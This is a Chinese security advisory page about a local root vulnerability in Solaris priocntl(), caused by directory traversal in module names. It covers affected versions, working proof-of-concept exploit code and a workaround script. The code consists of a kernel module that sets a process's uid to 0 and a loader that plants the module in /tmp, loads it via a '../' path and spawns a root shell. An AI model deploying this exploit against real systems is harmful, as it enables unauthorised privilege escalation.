xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Solaris priocntl()系统调用本地可获得root权限漏洞


发布时间:2002-10-27
更新时间:2002-11-29
严重程度:
威胁程度:本地管理员权限
错误类型:设计错误
利用方式:客户机模式

BUGTRAQ ID:6262

受影响系统
Sun Solaris 2.5.1
Sun Solaris 2.6
Sun Solaris 7.0 _x86
Sun Solaris 7.0
Sun Solaris 8.0 _x86
Sun Solaris 8.0
Sun Solaris 9.0
详细描述
当priocntl()访问模块的时候存在目录遍历漏洞。priocntl()没有过滤pc_clname缓冲区里的模块名字,在调用priocntl()的时候,模块名参数使用(../)方式就可以载入任意路径的模块。

测试代码
kk_qq@263.net 提供了如下测试程序:

/*
Writen By CatDog
the module find the user's proccess's cred struct
change it's owner uid to 0(root)
this code can work properly in any conditions
*/
#include <sys/systm.h>
#include <sys/ddi.h>
#include <sys/sunddi.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/kmem.h>
#include <sys/errno.h>
#include <sys/proc.h>
#include <sys/user.h>
#include <sys/thread.h>
#include <sys/cred.h>
#include <vm/as.h>
#include <vm/seg.h>
#include <vm/seg_vn.h>

typedef unsigned int DWORD;

DWORD   ptree[20]={0xffffffff,0xffffffff,0xffffffff,0xffffffff,0xffffffff,0xffffffff,
                                 0xffffffff,0xffffffff,0xffffffff,
                                 0xffffffff,0xffffffff,0xffffffff,
                                 0xffffffff,0xffffffff,0xffffffff};
/*
* This is the loadable module wrapper.
*/
#include <sys/modctl.h>

int _info(struct modinfo *modinfop)
{
    return -1;
}

int _init(void)
{
    proc_t *current,*pp;
    pid_t rec;
    int i,cnt;

    for(i=0;ptree[i]!=0xffffffff;i++);
    cnt=i;

cmn_err(CE_NOTE ,"Get Su: cnt=%d", cnt);

    current=curproc;
    while(current->p_pidp->pid_id!=0) current=current->p_parent;

    pp=current;

    for(i=0;i<cnt;i++) {
        pp=pp->p_child;
cmn_err(CE_NOTE ,"Get Su: search pid=%d", ptree[i]);
        while(pp!=0)  {
            if(pp->p_pidp->pid_id==ptree[i])  break;
            pp=pp->p_sibling;
        }
        if(pp==0) goto ERR;
    }

    if(pp!=0) {
        pp->p_cred->cr_ruid=0;
        pp->p_cred->cr_uid=0;
        cmn_err(CE_NOTE ,"Get Su: %d", pp->p_pidp->pid_id);
        cmn_err(CE_NOTE ,"Get Su: %d", pp->p_cred->cr_ruid);
        cmn_err(CE_NOTE ,"Get Su: %d", pp->p_cred->cr_uid);
    }

ERR:
    cmn_err(CE_NOTE ,"Get Su: not found");
    return -1;
}

kk_qq@263.net提供了如下测试程序:

/*
Writen By CatDog
the module find the user's proccess's cred struct
change it's owner uid to 0(root)
this code can work properly in any conditions

Links:
support@catdogsoft.com
http://www.catdogsoft.com/S8EXP/

Reference:
jerryhj@yeah.net
http://www.hacker.com.cn/newbbs/dispbbs.asp?boardID=8&RootID=23110&ID=23110

*/

#include <stdio.h>
#include <sys/types.h>
#include <procfs.h>
#include <unistd.h>

#include <errno.h>
#include <sys/priocntl.h>
#include <sys/rtpriocntl.h>
#include <sys/tspriocntl.h>


#define OFFSET 0x2dc
#define OFFSET64 0x39c

pid_t getpppid(pid_t pid)
{
        psinfo_t psinf;
        int fd;
        char buf[256];
    
        sprintf(buf, "/proc/%d/psinfo", pid);
        fd=open(buf,0);
    if(fd!=-1) {
        read(fd, &psinf, sizeof(psinfo_t));
        close(fd);
        }

    return psinf.pr_ppid;
}

void Load(int m64)
{
    pcinfo_t pcinfo;
    if(!m64)
        strcpy(pcinfo.pc_clname, "../../../tmp/flkm32");
    if(m64)
        strcpy(pcinfo.pc_clname, "../../../tmp/flkm64");

    priocntl(0,getpid(),PC_GETCID,(caddr_t)&pcinfo);
}

main(int argc,char *argv[])
{
    pid_t pid;
    pid_t ptree[20], *pptree;
    int i,j,k;
    int fd;
    int m64=0;

    if(argc==2) {
        if(atoi(argv[1])==64) m64=1;
    }

    printf("is 64 bit: %d\n",m64);

    pid=getpid();
    memset(ptree, 0, 20*sizeof(pid_t));

    ptree[0]=pid;
    for(i=1;i<20;i++) {
        pid=getpppid(pid);
        if(pid==0) break;
        ptree[i]=pid;
    }
    pptree=(pid_t *)malloc((i+1)*sizeof(pid_t));

    k=0;
    for(j=19;j>=0;j--) {
        if(ptree[j]==0) continue;
        //printf("%d %x\n", ptree[j], ptree[j]);
        pptree[k]=ptree[j];
        k++;
    }
    pptree[k]=0xffffffff;

    if(!m64) system("cp -f flkm32 /tmp/flkm32");
    if(m64) mkdir("/tmp/sparcv9",0777);
    if(m64) system("cp -f flkm64 /tmp/sparcv9/flkm64");

    if(!m64) fd=open("/tmp/flkm32",2);
    if(m64)    fd=open("/tmp/sparcv9/flkm64",2);
    
    if(fd!=-1){
        if(!m64) lseek(fd, OFFSET, SEEK_SET);
        if(m64)    lseek(fd, OFFSET64, SEEK_SET);
        printf("%d bytes to write\n", i*sizeof(pid_t));
        k=write(fd, pptree, i*sizeof(pid_t));
        printf("%d bytes wroten\n", k);
        close(fd);
    }else{
        printf("err! open flkm error!\n");
        exit(-1);
    }
    free(pptree);

    Load(m64);
    printf("id=%d\n", k=getuid());

    if(!m64) {
        system("rm -fr /tmp/flkm32");
    }
    if(m64) {
        system("rm -fr /tmp/sparcv9");
    }

    if(k==0) {
        printf("SUCCESS! Enjoy RootShell!\n");
        execl("/bin/sh","sh",NULL);
    }else{
        printf("fail!\n");
    }
}

解决方案
Casper Dik <Casper.Dik@Sun.COM>提供如下临时解决方法:

由于"pc_clname[]"参数限制了大小,用下面的脚本可以防止这个特殊漏洞

for dir in /kernel /usr/kernel
do
        cd $dir
        mkdir -p a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p
        mv sched a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p
        ln -s a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/sched .
done

相关信息
发现者:侯杰(jerryhj@yeah.net)
相关资料:http://www.catdogsoft.com/S8EXP/
          http://sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsalert/49131